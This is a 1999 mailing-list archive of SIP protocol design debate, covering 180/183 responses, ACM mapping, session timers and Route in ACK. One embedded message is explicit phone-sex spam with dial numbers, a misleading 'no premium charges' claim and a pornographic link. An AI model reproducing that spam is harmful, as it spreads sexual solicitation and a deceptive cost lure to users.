packets from another address(the server) will deal with this as well,
and will hide RTSP signalling from the caller.

I am not proposing creating 2 SIP sessions, rather :-

a) Using an extension mechanism to separate voice-cutthrough and call
connect. This mirrors the PSTN behavior.
b) Using a new method(or perhaps another 200 response) for a trusted
network intermediary to tell the caller to accept RTP packets from a new
source in the same SIP session.

In summary, I think "reverse INVITE" is elegant but I find it a little
difficult to accept the overhead.  I am trying to save that with a 
little more complexity in terms of logic - using a SIP extension helps
limiting it to clients that anticipate need for it.

-Anup.

From confctrl-owner  Fri Feb 19 11:45:12 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA29394
	for confctrl-outgoing; Fri, 19 Feb 1999 11:45:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA29389
	for <confctrl@zephyr.isi.edu>; Fri, 19 Feb 1999 11:45:10 -0800 (PST)
Received: from redale.cisco.com (redale.cisco.com [171.69.95.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA28974
	for <confctrl@ISI.EDU>; Fri, 19 Feb 1999 11:45:09 -0800 (PST)
Received: from cisco.com (dhcp-71-147-164.cisco.com [171.71.147.164]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id LAA04341; Fri, 19 Feb 1999 11:44:36 -0800 (PST)
Message-ID: <36CDBE42.40B32819@cisco.com>
Date: Fri, 19 Feb 1999 11:40:50 -0800
From: Anup Rao <anrao@cisco.com>
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
MIME-Version: 1.0
To: Matt Cannon <matt.cannon@mci.com>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Confctrl <confctrl@ISI.EDU>
Subject: Re: 180 to ACM Mapping
References: <002401be5c33$88be1a40$32892ca6@MCANNON.MCIT.COM>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Matt Cannon wrote:

[SNIP]

> MJC=>
> Actually this scenario works out for every call that terminates to
> the PSTN network. I recognize the functionality of the solution and
> its utility beyond just the ACM inter-working issue, but with the
> introduction of an extra 'reverse-Invite/reverse-Bye" sequence
> to manage the inband tones, do we not effectivley double the
> number of transactions required to complete this call?

Agreed. I think the overhead is high.

> My
> thinking is that this is overhead would not be necessary if
> the terminating UA could send a 183(Inband Info) in
> cases where it expects to send tones to originating UAC
> and a 180 ringing when it expects the originating UAC
> to provide the tones.

If backwards compatibility is an issue at this (early stage), a client
that does not understand 183 will treat it as a generic 1xx(which as far
as I know is not "180 Ringing"). 
Also, note that the terminating UA needs to send the session description
so that the caller UA knows the source address/port pair. I think we may
be better off protecting the behavior and the 183(inband-info) with a
SIP Require: header.

-Anup.

> > When the terminating device is not a gateway, it can
> > either send a 180
> > as currently specified, or follow the same procedure
> > described above.
> >
> > Anup's suggestion to put SDP in the 180, but have it be
> > secured I think
> > still has some problems. First, you can't do the post-setup
> > announcements. A general solution that does both would
> > seem preferable.
> > Second, I think there might be cases where the caller is
> > going to get
> > confused about who is sending what audio when there are
> > multiple 180
> > responses. This is because it all comes to the same UDP port at the
> > caller. So, when audio arrives at that port, who is it
> > from? You need to
> > know in order to decrypt, interpret PTI numbers, etc. This
> > is *not* a
> > problem for multiple 200 responses, since the ACK contains
> > an updated
> > SDP, probably with a new port for each callee being
> > ACK'ed. The callee
> > is not supposed to send audio until the ACK arrives, so there is no
> > confusion.
> >
> > In general, I prefer being explicit about what is going
> > on. Putting SDP
> > into the 180 is trying to set up multiple SIP sessions
> > when there is
> > really only one.
> >
> > -Jonathan R.

From confctrl-owner  Fri Feb 19 22:28:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA28614
	for confctrl-outgoing; Fri, 19 Feb 1999 22:28:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA28609
	for <confctrl@zephyr.isi.edu>; Fri, 19 Feb 1999 22:28:03 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id WAA00633
	for <confctrl@isi.edu>; Fri, 19 Feb 1999 22:28:01 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Sat Feb 20 01:26:58 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [192.19.204.72])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id BAA07256;
	Sat, 20 Feb 1999 01:26:55 -0500 (EST)
Message-ID: <36CE558D.21B6E62B@dnrc.bell-labs.com>
Date: Sat, 20 Feb 1999 01:26:21 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
CC: Lars Berggren <lars.berggren@intertex.se>,
        Conference Control List <confctrl@ISI.EDU>
Subject: Re: Negotiation of session-expires refresh timer
References: <CA6966C24AC6D111B5A100805FEAB7D857742D@nsrip00208.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Donovan, Steven R. (MCI) wrote:
>      SRD> Jonathan, I'm a little confused.  The session-expires timer
>      does not apply to session control signaling.  It only applies
>      after the session has been successfully setup.  The above
>      scenario appears to be a general problem for forking proxy
>      scenarios.  What happens depends on the behavior of B, the
>      forking proxy.  If it sends a CANCEL to the second 200 OK then
>      there will be no problem.  If it doesn't, then the originating
>      user agent will need to handle the multiple 200 OKs.  The SIP
>      spec implies that an ACK is sent for the subsequent 200 OKs.  The
>      Record-Route behavior should force the ACK to get delivered to D
>      and E.
> 
>      SRD> Or am I missing something?

No, I had forgotten about the CANCEL's. I guess putting the timer in the
ACK or reading it from the response is a wash.

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Feb 19 23:12:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA00328
	for confctrl-outgoing; Fri, 19 Feb 1999 23:12:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA00323
	for <confctrl@zephyr.isi.edu>; Fri, 19 Feb 1999 23:12:03 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA01864
	for <confctrl@isi.edu>; Fri, 19 Feb 1999 23:12:01 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Sat Feb 20 02:10:00 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [192.19.204.72])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id CAA07468;
	Sat, 20 Feb 1999 02:09:57 -0500 (EST)
Message-ID: <36CE5FA2.2B283E89@dnrc.bell-labs.com>
Date: Sat, 20 Feb 1999 02:09:22 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Anup Rao <anrao@cisco.com>
CC: Matt Cannon <matt.cannon@mci.com>, Confctrl <confctrl@ISI.EDU>
Subject: Re: 180 to ACM Mapping
References: <000101be5b87$aec34d20$669223a6@MCANNON.MCIT.COM> <36CCFABC.9D0397E5@dnrc.bell-labs.com> <36CDBCF5.B728FE87@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anup Rao wrote:
> 
> > Anup's suggestion to put SDP in the 180, but have it be secured I think
> > still has some problems. First, you can't do the post-setup
> > announcements. A general solution that does both would seem preferable.
> > Second, I think there might be cases where the caller is going to get
> > confused about who is sending what audio when there are multiple 180
> > responses. This is because it all comes to the same UDP port at the
> > caller. So, when audio arrives at that port, who is it from? You need to
> > know in order to decrypt, interpret PTI numbers, etc. This is *not* a
> > problem for multiple 200 responses, since the ACK contains an updated
> > SDP, probably with a new port for each callee being ACK'ed. The callee
> > is not supposed to send audio until the ACK arrives, so there is no
> > confusion.
> 
> The caller starts reading packets only after it receives atleast  the
> first 180 response. Then it knows what source to expect and accept
> packets from. It will need to CANCEL the other INVITE attempts.

Hmm. CANCEL is not branch-specific. When the client sends a CANCEL, it
cancels every branch that has not yet responded with a 200, which in
this case is still all of them. Perhaps we can hack around this too; it
seems that the INVITE-resp-ACK is exactly what is needed here, though.


 Clearly
> not as clean with sending n ACKs with different ports in the parallel
> case of receiving N 200 responses, but workable, and pretty similar to
> the way the callee can move and start trasmitting packets from a
> different location. One cannot provide inband-alerting info from N
> destinations anyway.

Not in parallel, but sequentially, yes. One can envision the case where
each proxy generates some announcements, forwarding the INVITE only
after the announcement has played.


> If we decide to go the
> "reverse INVITE" way, I think it should still be protected by a SIP
> "Require:" header, rather than be the base behavior since it will
> involve an additional header or other means to relate the two SIP
> sessions.

Agreed.

> 
> As far as post-setup announcements are concerned, such announcements
> from the callee are handled in the voice path setup for the call - it is
> really post-setup announcements from a network intermediary that we are
> concerned about. I think there is a fundamental choice here :
> Do we want call it the same SIP session or not ? If yes, that saves some
> signalling, a roundtrip and ports. Do we want to use the same port at
> the caller - I would argue that this keeps things simple. I also
> believe, that fundamentally there is only one SIP session - so we should
> not be creating two. A network intermediary that has been privy to the
> call setup signalling can be provided with a way to tell the caller to
> now expect an announcement from another address(as in my earlier email).

This means you can't use real security, since a network intermediary
will not know the media encryption key. 

<philosophy source="personal">
>From a higher level perspective, what we are grappling with is that the
PSTN model does things in a certain way, which is at odds with the way
it would be done in an IP environment. Thus, the best way to achieve
compatibility and transparency with the PSTN is to mimic exactly the way
it works in the IP world. I think there is an increasing trend in
development of IP protocols in this direction. What you end up with is,
well, the PSTN all over again. It is transparent since it works the same
way and basically does nothing more, nothing less. This is both good and
bad at the same time - the true opportunities with IP telephony, I
believe, lie where it can do better and different things. But, I fear
that placing higher value on transparency of service will kill these
opportunities.
</philosophy>


> In summary, I think "reverse INVITE" is elegant but I find it a little
> difficult to accept the overhead.  I am trying to save that with a
> little more complexity in terms of logic - using a SIP extension helps
> limiting it to clients that anticipate need for it.

I agree the overhead is higher. I agree it does not mimick how it is
done in the PSTN. I understand that the 183 "Inband Info" would allow us
to do what is more like the PSTN. I'm still not conviced it works, and
that we won't sacrifice the ability to do real security. Also, in the
long run, if we need to add additional things to handle other scenarios,
a more general solution (thats more complex) might be simpler than the
sum of many simple hacks.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Sat Feb 20 05:36:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA12986
	for confctrl-outgoing; Sat, 20 Feb 1999 05:36:03 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA12975
	for <confctrl@zephyr.isi.edu>; Sat, 20 Feb 1999 05:36:01 -0800 (PST)
Received: from arthur.docx.com (arthur.docx.com [38.243.40.2])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id FAA10628;
	Sat, 20 Feb 1999 05:35:51 -0800 (PST)
From: aimeee@worldnet.net
Received: from mc/mnet (38.14.57.220) by arthur.docx.com
 (EMWAC SMTPRS 0.81) with SMTP id <B0000035282@arthur.docx.com>;
 Sat, 20 Feb 1999 08:32:50 -0500
Date: Sat, 20 Feb 1999 08:32:50 -0500
Message-ID: <B0000035282@arthur.docx.com>
To: hello@goodbye.com
Subject: FUN for every lifestyle
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Do you like phone sex?  Of course, don't we all? Well, do I have a great service for you, where a live girl is always waiting to fulfill your every sexual desire.  You pay no outrageous premium charges. All you pay is the regular international long distance charge..as low as 48 cents per minute.  So, why not call now? All my girls are hot and waiting to get you off. Just dial  1-664-410-4979. Stop sitting in online chat rooms waiting for someone to talk dirty to you and call us now. Again..the number is  1-664-410-4979. If busy try  1-664-410-3549 or 1-784-490-3388 

Gay? Bi? Curious?...try this number..1-664-410-1208

You must 18 or older to use this service.


<FONT SIZE=5><a href="http://www.pornishere.com/members/hotcum/page5.html">CLICK HERE FOR HOT XXX</A></FONT>



From confctrl-owner  Sun Feb 21 21:48:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA02405
	for confctrl-outgoing; Sun, 21 Feb 1999 21:48:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA02399
	for <confctrl@zephyr.isi.edu>; Sun, 21 Feb 1999 21:48:03 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id VAA12955
	for <confctrl@isi.edu>; Sun, 21 Feb 1999 21:48:01 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Mon Feb 22 00:46:42 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [192.19.204.179])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id AAA23005;
	Mon, 22 Feb 1999 00:46:39 -0500 (EST)
Message-ID: <36D0EF1E.8F5E1ECD@dnrc.bell-labs.com>
Date: Mon, 22 Feb 1999 00:46:06 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Anup Rao <anrao@cisco.com>
CC: Matt Cannon <matt.cannon@mci.com>, Confctrl <confctrl@ISI.EDU>
Subject: Re: 180 to ACM Mapping
References: <002401be5c33$88be1a40$32892ca6@MCANNON.MCIT.COM> <36CDBE42.40B32819@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anup Rao wrote:
> 
> > My
> > thinking is that this is overhead would not be necessary if
> > the terminating UA could send a 183(Inband Info) in
> > cases where it expects to send tones to originating UAC
> > and a 180 ringing when it expects the originating UAC
> > to provide the tones.
> 
> If backwards compatibility is an issue at this (early stage), a client
> that does not understand 183 will treat it as a generic 1xx(which as far
> as I know is not "180 Ringing").
> Also, note that the terminating UA needs to send the session description
> so that the caller UA knows the source address/port pair.

Does it? If the purpose of the 183 is just the backwards voice path, the
SDP in the INVITE is sufficient, since the caller isn't sending
anything. The SDP in the response is needed to get the ports, addresses
of the announcement server.

 I think we may
> be better off protecting the behavior and the 183(inband-info) with a
> SIP Require: header.

Doesn't work. You can only place Require: in a request. What happens if
the caller doesn't support 183? It can't send a response anyway, so the
announcement server won't know whether the 183 is understood independent
of whether or not Require: is included. 

This here is an example of a server-feature, where it is the server that
is requesting a feature from the client. Require and Proxy-Require are
for where the client is requesting a feature from the server. Handling
server features is much harder. 

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Sun Feb 21 21:56:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA02640
	for confctrl-outgoing; Sun, 21 Feb 1999 21:56:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA02635
	for <confctrl@zephyr.isi.edu>; Sun, 21 Feb 1999 21:56:05 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id VAA13070
	for <confctrl@isi.edu>; Sun, 21 Feb 1999 21:56:04 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Mon Feb 22 00:54:39 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [192.19.204.179])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id AAA23035;
	Mon, 22 Feb 1999 00:54:36 -0500 (EST)
Message-ID: <36D0F0FB.21054A78@dnrc.bell-labs.com>
Date: Mon, 22 Feb 1999 00:54:03 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Lars Berggren <lars.berggren@intertex.se>
CC: confctrl@ISI.EDU
Subject: Re: SIP: Route in ACK requests
References: <000101be5b87$aec34d20$669223a6@MCANNON.MCIT.COM> <36CCC856.241122D1@cs.columbia.edu> <36CD899A.6924E1C2@intertex.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Lars Berggren wrote:
> 
> Hi,
> 
> Re-reading the SIP spec I found in Table 5, section 6, that the Route
> header field is listed as 'not applicable' for ACK requests.
> 
> Is this really the case? I can't see why and would appreciate if someone
> could explain it to me. I'd regard the Route header field as applicable
> to ACK requests as to any other request.

The intention is that they are permitted in the ACK requests. 

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Feb 22 00:20:33 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA08499
	for confctrl-outgoing; Mon, 22 Feb 1999 00:20:33 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA08494
	for <confctrl@zephyr.isi.edu>; Mon, 22 Feb 1999 00:20:32 -0800 (PST)
Received: from relay.edu.tw (relay.edu.tw [163.28.1.103])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA18250
	for <confctrl@isi.edu>; Mon, 22 Feb 1999 00:20:31 -0800 (PST)
Received: from nty.itri.org.tw (extmx.itri.org.tw [140.96.158.1])
	by relay.edu.tw (8.8.8/8.8.6) with SMTP id QAA00521
	for <confctrl@isi.edu>; Mon, 22 Feb 1999 16:05:41 +0800 (CST)
Received: by nty.itri.org.tw; (5.65v4.0/1.3/10May95) id AA14322; Mon, 22 Feb 1999 16:21:21 +0800
Received: from oax2.ccl.itri.org.tw by mail.itri.org.tw; (5.65v4.0/1.1.8.2/10Dec96-0317PM)
	id AA28281; Mon, 22 Feb 1999 16:20:44 +0800
Received: from cclk400.ccl.itri.org.tw (cclk400.ccl.itri.org.tw [140.96.104.5])
	by oax2.CCL.ITRI.Org.tw (8.8.5/8.8.5) with ESMTP id QAA17115
	for <confctrl@isi.edu>; Mon, 22 Feb 1999 16:21:08 +0800 (CST)
Received: from CCLK400/MAILQ_K400 by cclk400.ccl.itri.org.tw (Mercury 1.21);
    22 Feb 99 16:23:04 GMT+800
Received: from MAILQ_K400 by CCLK400 (Mercury 1.21); 22 Feb 99 16:22:37 GMT+800
Received: from Owner by cclk400.ccl.itri.org.tw (Mercury 1.21);
    22 Feb 99 16:22:28 GMT+800
Message-Id: <001101be5e3c$7c4507a0$3c68608c@Owner.ccl.itri.org.tw>
From: "=?big5?B?vke7QbXiIENodWljaHUgQ2hlbmc=?=" <cheng@cclk400.ccl.itri.org.tw>
To: <confctrl@ISI.EDU>
Subject: Is there any public domain codes of SDP & MGCP
Date: Mon, 22 Feb 1999 16:22:28 +0800
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000E_01BE5E7F.8A4FDDA0"
X-Priority: 3
X-Msmail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-Mimeole: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_000E_01BE5E7F.8A4FDDA0
Content-Type: text/plain;
	charset="big5"
Content-Transfer-Encoding: quoted-printable


Is there any public domain codes of  SDP & MGCP?

Chuichu Cheng, K400/CCL/ITRI
K400/CCL/ITRI Bldg. 51, 195-11 Sec. 4, Chung Hsing Rd., Chutung, =
Hsinchu, Taiwan 310, R.O.C.        =20
Tel:886-3-5914522 Fax:886-3-5820310=20

------=_NextPart_000_000E_01BE5E7F.8A4FDDA0
Content-Type: text/html;
	charset="big5"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Dbig5 http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#000000 face=3D"Times New Roman" size=3D2>Is there =
any public=20
domain codes of&nbsp; SDP &amp; MGCP?</FONT></DIV>
<DIV><FONT color=3D#000000 face=3D"Times New Roman" =
size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 face=3D"Times New Roman" size=3D2>Chuichu =
Cheng,=20
K400/CCL/ITRI<BR>K400/CCL/ITRI Bldg. 51, 195-11 Sec. 4, Chung Hsing Rd., =

Chutung, Hsinchu, Taiwan 310,=20
R.O.C.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
<BR>Tel:886-3-5914522=20
Fax:886-3-5820310 </FONT></DIV></BODY></HTML>

------=_NextPart_000_000E_01BE5E7F.8A4FDDA0--


From confctrl-owner  Mon Feb 22 03:53:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA16183
	for confctrl-outgoing; Mon, 22 Feb 1999 03:53:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA16178
	for <confctrl@zephyr.isi.edu>; Mon, 22 Feb 1999 03:53:05 -0800 (PST)
Received: from uumail-relay-blr.ernet.in (root@uumail-relay-blr.ernet.in [202.141.1.17])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA26388
	for <confctrl@ISI.EDU>; Mon, 22 Feb 1999 03:53:00 -0800 (PST)
Received: from iisc.ernet.in (iisc.ernet.in [144.16.64.3])
	by uumail-relay-blr.ernet.in (8.9.0/8.9.0) with ESMTP id RAA12033
	for <confctrl@ISI.EDU>; Mon, 22 Feb 1999 17:25:47 +0530
Received: from ee.iisc.ernet.in by iisc.ernet.in (ERNET-IISc/SMI-4.1)
	   id RAA22884; Mon, 22 Feb 1999 17:15:20 +0530 (GMT+0530)
Received: from Bhaskara.ee.iisc.ernet.in by ee.iisc.ernet.in (EE/SMI-4.1)
	   id LAA30591; Mon, 22 Feb 1999 11:55:04 GMT
Received: from Bhaskara by Bhaskara.ee.iisc.ernet.in (SMI-8.6/SMI-SVR4)
	id RAA00605; Mon, 22 Feb 1999 17:20:20 +0530
Date: Mon, 22 Feb 1999 17:20:20 +0530 (IST)
From: Shantanu Paknikar <shantanu@ee.iisc.ernet.in>
X-Sender: shantanu@Bhaskara
To: confctrl@ISI.EDU
Subject: query
Message-ID: <Pine.SOL.3.93.990222171904.516C-100000@Bhaskara>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

Is there any source code available for an RTSP proxy server ?

-Shantanu Paknikar


From confctrl-owner  Mon Feb 22 08:55:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA01078
	for confctrl-outgoing; Mon, 22 Feb 1999 08:55:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA01073
	for <confctrl@zephyr.isi.edu>; Mon, 22 Feb 1999 08:55:53 -0800 (PST)
Received: from redale.cisco.com (redale.cisco.com [171.69.95.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA10746
	for <confctrl@isi.edu>; Mon, 22 Feb 1999 08:55:52 -0800 (PST)
Received: from cisco.com (jljones-isdn1.cisco.com [171.68.24.146]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id IAA03893; Mon, 22 Feb 1999 08:54:58 -0800 (PST)
Message-ID: <36D18AFF.C77B17F3@cisco.com>
Date: Mon, 22 Feb 1999 08:51:11 -0800
From: Anup Rao <anrao@cisco.com>
Reply-To: anrao@cisco.com
Organization: Cisco Systems
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Matt Cannon <matt.cannon@mci.com>, Confctrl <confctrl@ISI.EDU>
Subject: Re: 180 to ACM Mapping
References: <002401be5c33$88be1a40$32892ca6@MCANNON.MCIT.COM> <36CDBE42.40B32819@cisco.com> <36D0EF1E.8F5E1ECD@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 
> Anup Rao wrote:
> >
> > > My
> > > thinking is that this is overhead would not be necessary if
> > > the terminating UA could send a 183(Inband Info) in
> > > cases where it expects to send tones to originating UAC
> > > and a 180 ringing when it expects the originating UAC
> > > to provide the tones.
> >
> > If backwards compatibility is an issue at this (early stage), a client
> > that does not understand 183 will treat it as a generic 1xx(which as far
> > as I know is not "180 Ringing").
> > Also, note that the terminating UA needs to send the session description
> > so that the caller UA knows the source address/port pair.
> 
> Does it? If the purpose of the 183 is just the backwards voice path, the
> SDP in the INVITE is sufficient, since the caller isn't sending
> anything. The SDP in the response is needed to get the ports, addresses
> of the announcement server.

I proposed that so the caller can know the source to accept packets
from, as well as send RTCP. This prevents it from accepting packets from
just anywhere.

>  I think we may
> > be better off protecting the behavior and the 183(inband-info) with a
> > SIP Require: header.

Apologies, I wasnt quite clear here. I meant that the new status code
would be allowed and have the same meaning as "Ringing" only if the
request(hence the entire INVITE transaction) would be protected by
"Require:".

> Doesn't work. You can only place Require: in a request. What happens if
> the caller doesn't support 183? It can't send a response anyway, so the
> announcement server won't know whether the 183 is understood independent
> of whether or not Require: is included.
> 
> This here is an example of a server-feature, where it is the server that
> is requesting a feature from the client. Require and Proxy-Require are
> for where the client is requesting a feature from the server. Handling
> server features is much harder.

Yes, agreed. That is precisely the reason I proposed it the way I did,
and said "the client can choose to require the inband-info feature".
Ideally, it should have been the other way around. This  assumes a good
guess(and/or clever configuration) at the caller end, or as a worst
case, an extra roundtrip if the callee does not support it.

-Anup.

From confctrl-owner  Mon Feb 22 09:51:30 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA05921
	for confctrl-outgoing; Mon, 22 Feb 1999 09:51:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA05916
	for <confctrl@zephyr.isi.edu>; Mon, 22 Feb 1999 09:51:29 -0800 (PST)
Received: from smtp04.nwnexus.com (smtp04.nwnexus.com [206.63.63.52])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA16582
	for <confctrl@ISI.EDU>; Mon, 22 Feb 1999 09:51:28 -0800 (PST)
Received: from coho.halcyon.com (dean@coho.halcyon.com [198.137.231.21])
	by smtp04.nwnexus.com (8.8.8/8.8.8) with ESMTP id JAA03489;
	Mon, 22 Feb 1999 09:51:18 -0800 (PST)
Received: (from dean@localhost)
	by coho.halcyon.com (8.8.8/8.8.8) id JAA09096;
	Mon, 22 Feb 1999 09:51:16 -0800
Message-Id: <199902221751.JAA09096@coho.halcyon.com>
Subject: Re: query
In-Reply-To: <Pine.SOL.3.93.990222171904.516C-100000@Bhaskara> from Shantanu Paknikar at "Feb 22, 99 05:20:20 pm"
To: shantanu@ee.iisc.ernet.in (Shantanu Paknikar)
